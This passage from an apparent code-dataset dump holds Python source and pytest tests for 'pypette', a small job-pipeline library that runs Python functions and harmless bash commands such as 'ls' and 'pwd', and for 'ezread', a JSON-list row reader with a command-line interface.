@property\n def job(self) -> Any:\n \"\"\"Job being run by the thread.\"\"\"\n return self._job\n\n @property\n def state(self) -> ThreadState:\n \"\"\"Thread's current state.\"\"\"\n return self._state\n\n @property\n def exception(self) -> Optional[Exception]:\n \"\"\"Exception thrown by thread if any.\"\"\"\n return self._exception\n", "id": "10804672", "language": "Python", "matching_score": 2.448634147644043, "max_stars_count": 286, "path": "pypette/threadwrapper.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nUnit tests threadwrapper.py classes and methods.\n\nUsage from git root:\n\n >>> python setup.py test\n\"\"\"\n\nfrom pypette import Job, ThreadState, ThreadWrapper\n\n\ndef test_safe_run() -> None:\n \"\"\"Tests run() thread method can be called safely.\"\"\"\n\n def dummy():\n pass\n\n def corrupt():\n raise Exception('Corrupt')\n\n tw = ThreadWrapper(Job(function=dummy))\n assert tw.state == ThreadState.INIT\n tw.run()\n assert tw.state == ThreadState.SUCCESS\n\n tw = ThreadWrapper(Job(function=corrupt))\n assert tw.state == ThreadState.INIT\n tw.run()\n assert tw.state == ThreadState.FAILED\n\n\ndef test_safe_start():\n \"\"\"Tests start() thread method can be called safely.\"\"\"\n\n def dummy():\n pass\n\n def corrupt():\n raise Exception('Corrupt')\n\n tw = ThreadWrapper(Job(function=dummy))\n assert tw.state == ThreadState.INIT\n tw.start()\n assert tw.state == ThreadState.SUCCESS\n\n tw = ThreadWrapper(Job(function=corrupt))\n assert tw.state == ThreadState.INIT\n tw.start()\n assert tw.state == ThreadState.FAILED\n", "id": "11785298", "language": "Python", "matching_score": 1.214365839958191, "max_stars_count": 286, "path": "tests/threadwrapper_test.py" }, { "content": "import pytest\n\nfrom pypette import Job\n\n\ndef test_default_args() -> None:\n \"\"\"Validates the default arguments set for jobs.\"\"\"\n\n def dummy():\n pass\n\n j = Job(dummy)\n\n assert () == j.args\n assert {} == j.kwargs\n\n\ndef test_function_validation() -> None:\n \"\"\"Tests the function validation mechanism.\"\"\"\n with pytest.raises(AssertionError):\n Job(1) # type: ignore\n with pytest.raises(AssertionError):\n Job('test') # type: ignore\n\n\ndef test_string_representation() -> None:\n \"\"\"Tests printable representation of Jobs.\"\"\"\n\n def dummy(msg):\n pass\n\n assert \"Job(function=dummy, args=('a',), kwargs={'msg': 'a'})\" == Job(dummy, ('a',), {'msg': 'a'}).__repr__()\n assert \"Job(function=dummy, args=('a',), kwargs={'msg': 'a'})\" == Job(dummy, ('a',), {'msg': 'a'}).__str__()\n\n\ndef test_equality() -> None:\n \"\"\"Validates equality of jobs.\"\"\"\n\n def dummy(msg):\n pass\n\n def dummy1(msg):\n pass\n\n assert Job(dummy, args=('a',)) == Job(dummy, args=('a',))\n assert Job(dummy, args=('a',)) != Job(dummy1, args=('a',))\n assert Job(dummy, args=('a',)) != Job(dummy, args=('b',))\n assert Job(dummy, kwargs={'msg': 'a'}) == Job(dummy, kwargs={'msg': 'a'})\n assert Job(dummy, kwargs={'msg': 'a'}) != Job(dummy1, kwargs={'msg': 'a'})\n assert Job(dummy, kwargs={'msg': 'a'}) != Job(dummy, kwargs={'msg': 'b'})\n", "id": "11901026", "language": "Python", "matching_score": 3.0272324085235596, "max_stars_count": 286, "path": "tests/job_test.py" }, { "content": "import pytest\n\nfrom pypette import BashJob\n\n\ndef test_function_validation() -> None:\n \"\"\"Tests the function validation mechanism.\"\"\"\n with pytest.raises(AssertionError):\n BashJob(1) # type: ignore\n with pytest.raises(AssertionError):\n BashJob('test') # type: ignore\n\n\ndef test_string_representation() -> None:\n \"\"\"Tests printable representation of BashJobs.\"\"\"\n assert 'BashJob(cmd=ls -l)' == BashJob(['ls', '-l']).__repr__()\n assert 'BashJob(cmd=pwd)' == BashJob(['pwd']).__repr__()\n\n\ndef test_equality() -> None:\n \"\"\"Validates equality of bash jobs.\"\"\"\n assert BashJob(['ls']) == BashJob(['ls'])\n assert BashJob(['ls -l']) == BashJob(['ls -l'])\n assert BashJob(['pwd']) != BashJob(['ls'])\n", "id": "4088426", "language": "Python", "matching_score": 1.1564744710922241, "max_stars_count": 286, "path": "tests/bash_job_test.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\nExample script to create basic pipeline of the form.\n\n Pipe(p)\n |\n ⇨ print_job\n |\n ⇨ Pipe(p1)\n | |\n | ⇨ print_job\n | |\n | ⇨ ------------------\n | ⇩ ⇩\n | print_job Pipe(p2)\n | |\n | ⇨ print_corrupt\n | |\n | ⇨ print_job\n | |\n | ⇨ ------------------\n | | ⇩ ⇩\n | | print_job print_job\n | |\n | ⇨ print_job\n |\n ⇨ ls -l\n |\n ⇨ pwd\n |\n ⇨ Pipe(p3) <- Dependent on Pipe(p1)\n |\n ⇨ ls\n\"\"\"\n\n__author__ = '<NAME>'\n__author_email__ = '<EMAIL>'\n__license__ = 'MIT'\n__copyright__ = 'Copyright 2017 <NAME>'\n\nimport threading\nfrom time import sleep\n\nfrom pypette import BashJob, Job, Pipe\n\n\ndef print_job(message: str) -> None:\n \"\"\"Sample method which takes a message to print.\"\"\"\n print(threading.currentThread().getName(), 'Starting')\n sleep(1)\n print('From within print_job : ' + str(message))\n print(threading.currentThread().getName(), 'Ending')\n\n\ndef print_corrupt(message: str) -> None:\n print(threading.currentThread().getName(), 'Starting')\n sleep(1)\n print('From within print_corrupt : ' + str(message))\n print(threading.currentThread().getName(), 'Ending')\n raise Exception('lal')\n\n\n# Create pipeline p2\np2 = Pipe('p2')\np2.add_jobs([Job(print_corrupt, ('p2 1',)), Job(print_job, ('p2 2',))])\np2.add_jobs(\n [Job(print_job, ('p2 3.1',)), Job(print_job, ('p2 3.2',))],\n run_in_parallel=True,\n)\np2.add_jobs([Job(print_job, ('p2 4',))])\n\n# Create pipeline p1\np1 = Pipe('p1')\np1.add_jobs([Job(print_job, ('p1 1',))])\np1.add_jobs([Job(print_job, ('p1 2.1',)), p2], run_in_parallel=True)\n\n# Create pipeline p\n# When created as Pipe(\"p\") or Pipe(\"p\", Gate.FAIL_FAST) the pipeline exits the\n# execution in the first stage where it encounters exception.\n#\n# When created as Pipe(\"p\", Gate.EXECUTE_ALL) the pipeline is forgiving of\n# exceptions and continues to execute all jobs even if an exception is thrwon\n# in a stage.\n#\n# Note that when an external dependency is added to the Pipeline, as showin in\n# line 93, the pipeline is not executed unless all of the pipelines are\n# mentioned as dependencies are successfully executed.\n\n# Create pipeline p3\np3 = Pipe('p3')\np3.add_jobs([BashJob(['ls'])])\np3.add_dependency(p1, p2)\n\np = Pipe('p')\np.add_jobs([Job(print_job, ('p 1',)), p1, BashJob(['ls', '-l']), BashJob(['pwd']), p3])\n\n# Display the structure of the pipeline to be run.\np.graph()\n\n# Run the pipeline.\np.run()\n\n# Report of pipeline.\np.report()\n", "id": "12021481", "language": "Python", "matching_score": 2.6616456508636475, "max_stars_count": 286, "path": "examples/basic.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nUnit tests pipes.py classes and methods.\n\nUsage from git root:\n\n >>> python setup.py test\n\"\"\"\n\nimport logging\n\nimport pytest\n\nfrom pypette import BashJob, Job, Pipe, ThreadState\n\nlogging.basicConfig(level=logging.CRITICAL)\n\n\ndef test_validation() -> None:\n \"\"\"Tests the validation of job list submitted to Pipe object.\"\"\"\n\n def dummy():\n pass\n\n job = Job(dummy)\n bashjob = BashJob(['ls'])\n pipe = Pipe('dummy')\n\n try:\n # Validate job object list is valid list to submit.\n Pipe._validate([job])\n # Validate bash job object list is valid list to submit.\n Pipe._validate([bashjob])\n # Validate pipe object list is valid list to submit.\n Pipe._validate([pipe])\n # Validate lists including both are valid list to submit.\n Pipe._validate([job, bashjob, pipe])\n except AssertionError:\n pytest.fail('Submit validation raised AssertionError unexpectedly!')\n\n # Validate wrong types of input raise AssertionError.\n with pytest.raises(AssertionError):\n Pipe._validate([1])\n with pytest.raises(AssertionError):\n Pipe._validate(['test_string'])\n\n\ndef test_add_jobs() -> None:\n \"\"\"Validates the flow created due to submission of jobs to pipeline.\"\"\"\n\n def dummy():\n pass\n\n j1 = Job(dummy)\n b1 = BashJob(['ls'])\n p = Pipe('test')\n\n # Validate a new pipe contains no jobs by default.\n assert [] == list(p.job_map.values())\n\n # Validate empty job list does nothing but doesn't throw an error\n # either.\n p.add_jobs([])\n assert [] == list(p.job_map.values())\n\n # Validate the structure of the jobs submittted.\n p.add_jobs([j1, b1])\n p.add_jobs([b1, j1])\n p.add_jobs([j1, b1], True)\n p.add_jobs([b1, j1], True)\n\n expected = [[j1], [b1], [b1], [j1], [j1, b1], [b1, j1]]\n\n for (a, b) in zip(p.job_map.values(), expected):\n assert a == b\n\n\ndef test_add_stages() -> None:\n \"\"\"Validates the flow created due to submission of jobs to pipeline.\"\"\"\n\n def dummy():\n pass\n\n j1 = Job(dummy)\n b1 = BashJob(['ls'])\n p = Pipe('test')\n\n # Validate a new pipe contains no jobs by default.\n assert [] == list(p.job_map.values())\n\n # Validate empty job list does nothing but doesn't throw an error\n # either.\n p.add_stage()\n assert [] == list(p.job_map.values())\n\n # Validate the structure of the jobs submittted.\n p.add_stage(j1)\n p.add_stage(b1)\n p.add_stage(b1)\n p.add_stage(j1)\n # Builder pattern\n p.add_stage(j1, b1).add_stage(b1, j1)\n\n expected = [[j1], [b1], [b1], [j1], [j1, b1], [b1, j1]]\n\n for (a, b) in zip(p.job_map.values(), expected):\n assert a == b\n\n\ndef test_add_dependency() -> None:\n \"\"\"Validates adding of dependencies to pipeline.\"\"\"\n\n p = Pipe('test')\n\n p1 = Pipe('dependency1')\n p.add_dependency(p1)\n assert [p1] == p.dependent_on\n\n p2 = Pipe('dependency2')\n p.add_dependency(p2)\n assert [p1, p2] == p.dependent_on\n\n p3 = Pipe('dependency3')\n p4 = Pipe('dependency4')\n p.add_dependency(p3, p4)\n assert [p1, p2, p3, p4] == p.dependent_on\n\n\ndef test_dependency_check() -> None:\n \"\"\"Validates dependency check of pipeline.\"\"\"\n\n p = Pipe('test')\n\n p1 = Pipe('dependency1')\n p1.state = ThreadState.SUCCESS\n p2 = Pipe('dependency2')\n p2.state = ThreadState.SUCCESS\n p3 = Pipe('dependency3')\n p3.state = ThreadState.SUCCESS\n p4 = Pipe('dependency4')\n p4.state = ThreadState.SUCCESS\n\n p.add_dependency(p1, p2, p3, p4)\n assert p.dependency() is True\n\n p3.state = ThreadState.FAILED\n assert p.dependency() is False\n\n\ndef test_representative_name() -> None:\n \"\"\"Validates the name for pipeline.\"\"\"\n p = Pipe('test')\n assert 'Pipe(test)' == p.__repr__()\n assert 'Pipe(test)' == p.__str__()\n\n\ndef test_graph() -> None:\n \"\"\"Validates graph call on pipelines.\"\"\"\n p = Pipe('test')\n\n # Validate graph call on empty pipe.\n try:\n p.graph()\n except Exception:\n pytest.fail('graph() on empty pipe should not throw any exception')\n\n # Validate graph on a pipe with jobs.\n\n def dummy():\n pass\n\n def dummy1():\n pass\n\n p1 = Pipe('test1')\n p1.add_jobs([Job(dummy)])\n p1.add_jobs([Job(dummy), Job(dummy1)], run_in_parallel=True)\n p.add_jobs([p1])\n p.add_jobs([Job(dummy), Job(dummy1)], run_in_parallel=True)\n p.add_jobs([BashJob(['ls'])])\n\n try:\n p.graph()\n except Exception:\n pytest.fail('graph() should not throw any exception')\n\n\ndef test_run() -> None:\n \"\"\"Validates run call on pipelines.\"\"\"\n p = Pipe('test')\n\n # Validate run call on empty pipe.\n try:\n p.run()\n except Exception:\n pytest.fail('run() on empty pipe should not throw any exception')\n\n def dummy():\n pass\n\n p.add_jobs([Job(dummy), BashJob(['pwd'])])\n\n try:\n p.run()\n except Exception:\n pytest.fail('run() should not throw any exception')\n\n\ndef test_report() -> None:\n \"\"\"Validates report call on pipelines.\"\"\"\n p = Pipe('test')\n\n # Validate run call on empty pipe.\n try:\n p.report()\n except Exception:\n pytest.fail('report() on empty pipe should not throw any exception')\n\n def dummy():\n pass\n\n p.add_jobs([Job(dummy), BashJob(['pwd'])])\n\n try:\n p.run()\n p.report()\n except Exception:\n pytest.fail('report() should not throw any exception')\n", "id": "11538878", "language": "Python", "matching_score": 3.092815399169922, "max_stars_count": 286, "path": "tests/pipes_test.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\npipes.api\n~~~~~~~~~\nClass definitions to create, validate and run jobs as pipelines.\n\nDescription:\n\n`Job` is the basic unit of pipeline which does some work.\n`Pipe` is a structure which helps run the above jobs one after the other or in\nparallel. A pipe can be used to run jobs or other pipes.\n\nHence overtly complicated pipelines can be boiled down to the above two basic\nblocks.\n\"\"\"\n\nimport logging\nfrom collections import OrderedDict\nfrom enum import Enum\nfrom itertools import chain\nfrom typing import Any, Dict, List, Union\nfrom uuid import uuid4\n\nimport crayons\n\nfrom .jobs import BashJob, Job, JobInterface\nfrom .threadwrapper import ThreadState, ThreadWrapper\n\n\nclass Gate(Enum):\n \"\"\"Different kinds of gating allowed for pipes.\"\"\"\n\n # Fails at the first error or exception thrown from a job. (Default)\n FAIL_FAST = 0\n # Silently captures the error or exception to execute all the jobs.\n EXECUTE_ALL = 1\n\n\nclass Pipe:\n \"\"\"Class to define the pipeline structure.\"\"\"\n\n def __init__(self, name: str, gate: Gate = Gate.FAIL_FAST):\n \"\"\"Constructor.\n\n :param name: Name given to the pipe object for identification.\n :param gate: Mode you want the pipe to run in (FAIL_FAST/EXECUTE_ALL)\n \"\"\"\n self.name: str = 'Pipe({})'.format(name)\n self.job_map: Dict[Any, Any] = OrderedDict()\n self.thread_map: Dict[Any, Any] = OrderedDict()\n self.gate: Gate = gate\n self.dependent_on: List[Job] = []\n\n def add_jobs(self, jobs: List[Union[Job, BashJob, 'Pipe']], run_in_parallel: bool = False):\n \"\"\"Method to add jobs to pipeline.\n\n :param jobs: List of jobs/pipes to run.\n :param run_in_parallel: This flag when set to False(default) runs the\n list of jobs given one after another. This flag\n if set to True runs the jobs/pipes submitted in\n parallel threads.\n \"\"\"\n\n # Return if nothing to do.\n if not jobs:\n return\n\n # Validate the set of jobs given.\n Pipe._validate(jobs)\n\n # Add jobs to pipeline.\n if run_in_parallel:\n self._add_in_parallel(jobs)\n else:\n self._add_in_series(jobs)\n\n return self\n\n def add_stage(self, *args):\n \"\"\"Method to add stages of pipeline. Jobs are to be given comma\n separated and all the jobs given form a single stage. Another way to\n add jobs to a pipeline in builder pattern.\n\n :param args: Jobs to be added. Adds comma separated list in parallel or\n a single job as a stage.\n \"\"\"\n\n # Return if nothing to do.\n if not args:\n return\n\n # Validate the set of jobs given.\n Pipe._validate(args)\n\n # Add jobs to pipeline.\n if len(args) > 1:\n self._add_in_parallel(list(args))\n else:\n self._add_in_series(args)\n\n return self\n\n def add_dependency(self, *args):\n \"\"\"Method to add dependency of one pipe on another.\n\n :param args: Pipes to be added as dependency for this pipeline.\n \"\"\"\n for job in args:\n if not isinstance(job, Pipe):\n logging.error('Dependecies should be of type Pipe')\n raise AssertionError('Invalid type {} submitted'.format(type(job)))\n self.dependent_on.extend(args)\n\n def dependency(self):\n \"\"\"Method to check for success of pipelines listed as dependency.\"\"\"\n allowed = True\n for item in self.dependent_on:\n allowed = allowed and (item.state == ThreadState.SUCCESS)\n return allowed\n\n def run(self):\n \"\"\"Method to run the pipeline.\"\"\"\n logging.debug('run() method called on {}'.format(self.name))\n\n logging.debug('Dependency for {} is {}'.format(self, self.dependent_on))\n if not self.dependency():\n return\n\n broken = False\n prev = True\n for key, jobset in self.job_map.items():\n if not prev:\n break\n job_threads = []\n # Create job threads\n for job in jobset:\n job_threads.append(ThreadWrapper(job))\n # Start job threads\n for job in job_threads:\n job.start()\n # Job main thread to create flow\n for job in job_threads:\n job.join()\n self.thread_map[key] = tuple(job_threads)\n # Stage finished successfully.\n for job in job_threads:\n prev = prev and (job.state == ThreadState.SUCCESS)\n if not prev:\n broken = True\n prev = prev or (self.gate == Gate.EXECUTE_ALL)\n\n if prev and not broken:\n self.state = ThreadState.SUCCESS\n else:\n self.state = ThreadState.FAILED\n\n def graph(self) -> None:\n \"\"\"Method to print the structure of the pipeline.\"\"\"\n logging.debug('graph() method called on {}'.format(self.name))\n self._pretty_print()\n print('')\n\n @staticmethod\n def _cstate(tw) -> str:\n \"\"\"Returns state in colour for pretty printing reports.\"\"\"\n if isinstance(tw, ThreadWrapper):\n if tw.state == ThreadState.SUCCESS:\n return str(crayons.green(tw.state.name))\n elif tw.state == ThreadState.FAILED:\n return str(crayons.red(tw.state.name))\n else:\n return str(crayons.yellow(tw.state.name))\n else:\n if ThreadState.SUCCESS.name in tw:\n return str(crayons.green(tw))\n elif ThreadState.FAILED.name in tw:\n return str(crayons.red(tw))\n else:\n return str(crayons.yellow(tw))\n\n def report(self) -> None:\n \"\"\"Method to pretty print the report.\"\"\"\n print('')\n print(crayons.green(self.name, bold=True))\n\n if not self.thread_map:\n print(crayons.red('No jobs run in pipeline yet !'))\n return\n\n joblen = len(self.thread_map)\n for i, jobs in enumerate(self.thread_map.values()):\n print(crayons.blue(u'| '))\n if len(jobs) == 1:\n print(crayons.blue(u'\\u21E8 ') + Pipe._cstate(jobs[0]))\n else:\n if i == joblen - 1:\n pre = u' '\n else:\n pre = u'| '\n l1_list: List[str] = [u'-' * 10 for j in jobs]\n l1: str = u''.join(l1_list)\n l1 = l1[:-1]\n print(crayons.blue(u'\\u21E8 ') + crayons.blue(l1))\n fmt = u'{0:^{wid}}'\n l2 = [fmt.format(u'\\u21E9', wid=12) for j in jobs]\n print(crayons.blue(pre) + crayons.blue(u''.join(l2)))\n l3 = [Pipe._cstate(fmt.format(j.state.name, wid=12)) for j in jobs]\n print(crayons.blue(pre) + u''.join(l3))\n\n pipes = filter(lambda x: isinstance(x.job, Pipe), chain(*self.thread_map.values()))\n\n for item in pipes:\n item.job.report()\n\n @staticmethod\n def _validate(jobs) -> None:\n \"\"\"Method to validate the jobs submitted to pipeline.\n\n :param jobs: List of jobs submitted.\n :type jobs: list\n \"\"\"\n for job in jobs:\n valid = isinstance(job, JobInterface) or isinstance(job, Pipe)\n if not valid:\n logging.error('Pipeline jobs should be of type Job, BashJob or Pipe')\n raise AssertionError('Invalid type {} submitted'.format(type(job)))\n\n def _add_in_parallel(self, jobs: List[Union[Job, BashJob, 'Pipe']]) -> None:\n \"\"\"Method to add jobs to pipeline so that they run in parallel.\n\n :param jobs: List of jobs submitted.\n \"\"\"\n self.job_map[uuid4()] = jobs\n logging.debug('{} submitted to be run in parallel'.format(jobs))\n\n def _add_in_series(self, jobs: List[Union[Job, BashJob, 'Pipe']]) -> None:\n \"\"\"Method to add jobs to pipeline so that they run one after another,\n only after the previous job completes.\n\n :param jobs: List of jobs submitted.\n \"\"\"\n for job in jobs:\n self.job_map[uuid4()] = [job]\n logging.debug('{} submitted to be run in series'.format(job))\n\n def _pretty_print(self) -> None:\n \"\"\"Method to pretty print the pipeline.\"\"\"\n print('')\n print(crayons.green(self.name, bold=True))\n\n if not self.job_map:\n print(crayons.red('No jobs added to the pipeline yet !'))\n return\n\n joblen = len(self.job_map)\n for i, jobs in enumerate(self.job_map.values()):\n print(crayons.blue(u'| '))\n if len(jobs) == 1:\n print(crayons.blue(u'\\u21E8 ') + crayons.white(jobs[0].name))\n else:\n if i == joblen - 1:\n pre = u' '\n else:\n pre = u'| '\n l1_list: List[str] = [u'-' * (len(j.name) + 2) for j in jobs]\n l1: str = u''.join(l1_list)\n l1 = l1[: -len(jobs[-1].name) // 2 + 1]\n print(crayons.blue(u'\\u21E8 ') + crayons.blue(l1))\n fmt = u'{0:^{wid}}'\n l2 = [fmt.format(u'\\u21E9', wid=len(j.name) + 2) for j in jobs]\n print(crayons.blue(pre) + crayons.blue(u''.join(l2)))\n l3 = [fmt.format(j.name, wid=len(j.name) + 2) for j in jobs]\n print(crayons.blue(pre) + crayons.white(u''.join(l3)))\n\n pipes = filter(lambda x: isinstance(x, Pipe), chain(*self.job_map.values()))\n\n for item in pipes:\n item._pretty_print()\n\n def __repr__(self) -> str:\n return self.name\n\n def __str__(self) -> str:\n return self.__repr__()\n", "id": "2919258", "language": "Python", "matching_score": 3.95363187789917, "max_stars_count": 286, "path": "pypette/pipes.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\njobs.api\n~~~~~~~~\nClass definitions to describe python method calls in a deterministic way.\n\nDescription: Method outputs are determined by the inputs provided to it, hence\nto describe all aspects of the method call we need to know what method is being\ncalled and what arguments it is called with. Classes in this file help to\ndescribe python methods in a structured way.\n\"\"\"\n\nfrom inspect import isroutine\nfrom typing import Any, Callable, Dict, List, Tuple, Union\n\n\nclass JobInterface:\n \"\"\"Pipeline job interface.\"\"\"\n\n def __init__(self, name: str) -> None:\n \"\"\"Constructor.\n\n :param name: Name of the job.\n \"\"\"\n self.name: str = name\n\n def __eq__(self, other: Any) -> bool:\n raise Exception\n\n def __repr__(self) -> str:\n raise Exception\n\n def __str__(self) -> str:\n return self.__repr__()\n\n\nclass Job(JobInterface):\n \"\"\"Class to format python methods as pipeline jobs.\"\"\"\n\n def __init__(\n self,\n function: Callable[..., Any],\n args: Union[Tuple, Tuple[Any]] = (),\n kwargs: Union[Dict, Dict[Any, Any]] = {},\n ) -> None:\n \"\"\"Constructor.\n\n :param function: Python method to run.\n :param args: Argument list to run the method with.\n :param kwargs: Keyword arguments to run the method with.\n \"\"\"\n assert isroutine(function), 'Python callable expected'\n assert isinstance(args, tuple)\n assert isinstance(kwargs, dict)\n\n super(Job, self).__init__(function.__name__)\n self.function: Callable[..., Any] = function\n self.args: Union[Tuple, Tuple[Any]] = args\n self.kwargs: Union[Dict, Dict[Any, Any]] = kwargs\n\n def __eq__(self, other: Any) -> bool:\n # Note that same method run with two different sets of parameters is\n # considered to be two different jobs and not one job.\n return (\n type(self) == type(other)\n and self.function == other.function\n and self.args == other.args\n and self.kwargs == other.kwargs\n )\n\n def __repr__(self) -> str:\n return 'Job(function={}, args={}, kwargs={})'.format(self.name, self.args, self.kwargs)\n\n\nclass BashJob(JobInterface):\n \"\"\"Class to format bash commands as pipeline jobs.\"\"\"\n\n def __init__(self, cmd: List[str]):\n \"\"\"Constructor.\n\n :param cmd: Bash command to run.\n \"\"\"\n assert isinstance(cmd, list), 'Bash command as list of strings needed'\n\n super(BashJob, self).__init__(' '.join(cmd))\n self.cmd: List[str] = cmd\n\n def __eq__(self, other: Any) -> bool:\n return type(self) == type(other) and self.cmd == other.cmd\n\n def __repr__(self) -> str:\n return 'BashJob(cmd={})'.format(self.name)\n", "id": "2389428", "language": "Python", "matching_score": 1.0925019979476929, "max_stars_count": 286, "path": "pypette/jobs.py" }, { "content": "import argparse\n\nfrom .reader import EzReader\nfrom json import dumps\n\n\ndef main():\n # Create command line parser.\n parser = argparse.ArgumentParser()\n # Adding command line arguments.\n parser.add_argument(\"--template_str\", help=\"Template string\", default=None)\n parser.add_argument(\"--template_file\", help=\"Template file\", default=None)\n parser.add_argument(\n \"--nonstrict\", help=\"Non strict mode\", action=\"store_true\", default=False\n )\n parser.add_argument(\"--separator\", help=\"CSV separator\", default=\",\")\n parser.add_argument(\n \"jsonfile\", help=\"JSON file with lists to be read\", default=None\n )\n # Parse command line arguments.\n arguments = parser.parse_args()\n if arguments.jsonfile is not None and (\n arguments.template_str or arguments.template_file\n ):\n # Core functionality.\n rdr, template = None, None\n # Read template string.\n if arguments.template_str:\n template = arguments.template_str\n if arguments.template_file:\n with open(arguments.template_file, \"r\") as rf:\n template = rf.read()\n # Create EzReader object.\n if arguments.nonstrict:\n rdr = EzReader(template, strict=False)\n else:\n rdr = EzReader(template)\n # Get data rows\n data_rows = None\n with open(arguments.jsonfile, \"r\") as rf:\n data_rows = rdr.read(rf.read())\n for row in data_rows:\n print(f\"{arguments.separator}\".join(map(dumps, row)))\n else:\n # Print command help\n parser.print_help()\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "7230190", "language": "Python", "matching_score": 1.573361873626709, "max_stars_count": 3, "path": "ezread/commandline.py" }, { "content": "from json import loads\nfrom typing import List, Dict, Any, Union\n\n\nclass EzReader:\n \"\"\"Class to enable easy indexing into JSON list.\"\"\"\n\n class KeyMapper:\n \"\"\"Class to map keys to specific items in the dicts/lists.\"\"\"\n\n def __init__(self, keys: List[Any], strict: bool) -> None:\n \"\"\"Constructor.\n\n :param keys: Keys to fetch in JSON list.\n :param strict: If True fetches items using strict mode.\n \"\"\"\n self.keys: List[Any] = keys\n self.strict: bool = strict\n\n def item_mapper(self, item: Union[Dict[str, Any], List[Any]]) -> Any:\n \"\"\"Method to map keys to values within dictionary/list.\n\n :param item: Dictionary/List to fetch the value for key from.\n \"\"\"\n it = item\n for key in self.keys:\n it = it[key]\n return it\n\n def __call__(self, item: Union[Dict[str, Any], List[Any]]) -> Any:\n try:\n return self.item_mapper(item)\n except Exception as e:\n if self.strict:\n raise e\n return None\n\n def __init__(self, template: str, strict: bool = True) -> None:\n \"\"\"Constructor.\n\n :param template: JSON string template.\n :param strict: If True fetches items using strict mode.\n \"\"\"\n assert template, \"Template cannot be None or Empty\"\n self.mappers: List[EzReader.KeyMapper] = []\n for key in loads(template):\n if type(key) == list:\n self.mappers.append(EzReader.KeyMapper(key, strict))\n else:\n self.mappers.append(EzReader.KeyMapper([key], strict))\n\n def read_row(self, item: Union[Dict[str, Any], List[Any]]) -> List[Any]:\n \"\"\"Method to read a single row from item.\n\n :param item: Dictionary/List to fetch the value for key from.\n \"\"\"\n return [mapper(item) for mapper in self.mappers]\n\n def read(self, json_text: str) -> List[List[Any]]:\n \"\"\"Method to read rows of data from JSON list.\n\n :param json_text: To fetch data from.\n \"\"\"\n return [self.read_row(item) for item in loads(json_text)]\n", "id": "2688229", "language": "Python", "matching_score": 1.5691102743148804, "max_stars_count": 3, "path": "ezread/reader.py" }, { "content": "import pytest\nfrom ezread import EzReader\nfrom json.decoder import JSONDecodeError\n\n\n@pytest.mark.parametrize(\n \"template, expected_rows\",\n [\n (\"\"\"[0, 1, 2]\"\"\", [[1, 2, 3], [2, 4, 6], [3, 6, 9]]),\n (\"\"\"[0, 9]\"\"\", [[1, 10], [2, 20], [3, 30]]),\n ],\n)\ndef test_read(list_of_lists_json, template, expected_rows):\n er = EzReader(template)\n assert expected_rows == er.read(list_of_lists_json)\n\n\n@pytest.mark.parametrize(\n \"template\",\n [\n \"\"\"[0, 1, 20]\"\"\", # 20 being the missing index.\n \"\"\"[0, 11]\"\"\", # 11 being the missing index.\n ],\n)\ndef test_missingkeys_strict_read(list_of_lists_json, template):\n er = EzReader(template)\n with pytest.raises(IndexError):\n er.read(list_of_lists_json)\n\n\n@pytest.mark.parametrize(\n \"template, expected_rows\",\n [\n (\"\"\"[0, 1, 20]\"\"\", [[1, 2, None], [2, 4, None], [3, 6, None]]),\n (\"\"\"[0, 11]\"\"\", [[1, None], [2, None], [3, None]]),\n ],\n)\ndef test_missingkeys_nonstrict_read(list_of_lists_json, template, expected_rows):\n er = EzReader(template, strict=False)\n assert expected_rows == er.read(list_of_lists_json)\n", "id": "6622735", "language": "Python", "matching_score": 4.002371788024902, "max_stars_count": 3, "path": "tests/unit/test_list_of_lists.py" }, { "content": "import pytest\nfrom ezread import EzReader\nfrom json.decoder import JSONDecodeError\n\n\n@pytest.mark.parametrize(\n \"template, error\",\n [(None, AssertionError), (\"\", AssertionError), (\"abc\", JSONDecodeError)],\n)\ndef test_invalid_template(template, error):\n with pytest.raises(error):\n EzReader(template)\n", "id": "8126457", "language": "Python", "matching_score": 1.2277395725250244, "max_stars_count": 3, "path": "tests/unit/test_invalid_inputs.py" }, { "content": "import pytest\nfrom ezread import EzReader\n\n\n@pytest.mark.parametrize(\n \"template, expected_rows\",\n [\n (\"\"\"[\"name\"]\"\"\", [[\"Tom\"], [\"Dick\"], [\"Harry\"]]),\n (\"\"\"[\"name\", \"age\"]\"\"\", [[\"Tom\", 30], [\"Dick\", 20], [\"Harry\", 40]]),\n (\n \"\"\"[\"name\", \"age\", [\"address\", \"street\", 0]]\"\"\",\n [\n [\"Tom\", 30, \"124 Lincoln St\"],\n [\"Dick\", 20, \"125 Lincoln St\"],\n [\"Harry\", 40, \"50 Vinci Lane\"],\n ],\n ),\n ],\n)\ndef test_read(list_of_dicts_json, template, expected_rows):\n er = EzReader(template)\n assert expected_rows == er.read(list_of_dicts_json)\n\n\n@pytest.mark.parametrize(\n \"template\",\n [\n \"\"\"[\"name\", \"age\", [\"address\", \"zip\"]]\"\"\", # zip being the missing key.\n \"\"\"[\"name\", \"profession\"]\"\"\", # profession being the missing key.\n ],\n)\ndef test_missingkeys_strict_read(list_of_dicts_json, template):\n er = EzReader(template)\n with pytest.raises(KeyError):\n er.read(list_of_dicts_json)\n\n\n@pytest.mark.parametrize(\n \"template, expected_rows\",\n [\n (\n \"\"\"[\"name\", \"age\", [\"address\", \"zip\"]]\"\"\", # zip being the missing key.\n [[\"Tom\", 30, None], [\"Dick\", 20, None], [\"Harry\", 40, None]],\n ),\n (\n \"\"\"[\"name\", \"profession\"]\"\"\", # profession being the missing key.\n [[\"Tom\", None], [\"Dick\", None], [\"Harry\", None]],\n ),\n ],\n)\ndef test_missingkeys_nonstrict_read(list_of_dicts_json, template, expected_rows):\n er = EzReader(template, strict=False)\n assert expected_rows == er.read(list_of_dicts_json)\n", "id": "7636320", "language": "Python", "matching_score": 3.2799110412597656, "max_stars_count": 3, "path": "tests/unit/test_list_of_dicts.py" }, { "content": "import pytest\n\n\n@pytest.fixture\ndef list_of_dicts_json():\n return \"\"\"[\n {\n \"name\": \"Tom\",\n \"age\": 30,\n \"address\": {\n \"street\": [\"124 Lincoln St\", \"West Village\"],\n \"city\": \"New York\",\n \"state\": \"NYC\"\n }\n },\n {\n \"name\": \"Dick\",\n \"age\": 20,\n \"address\": {\n \"street\": 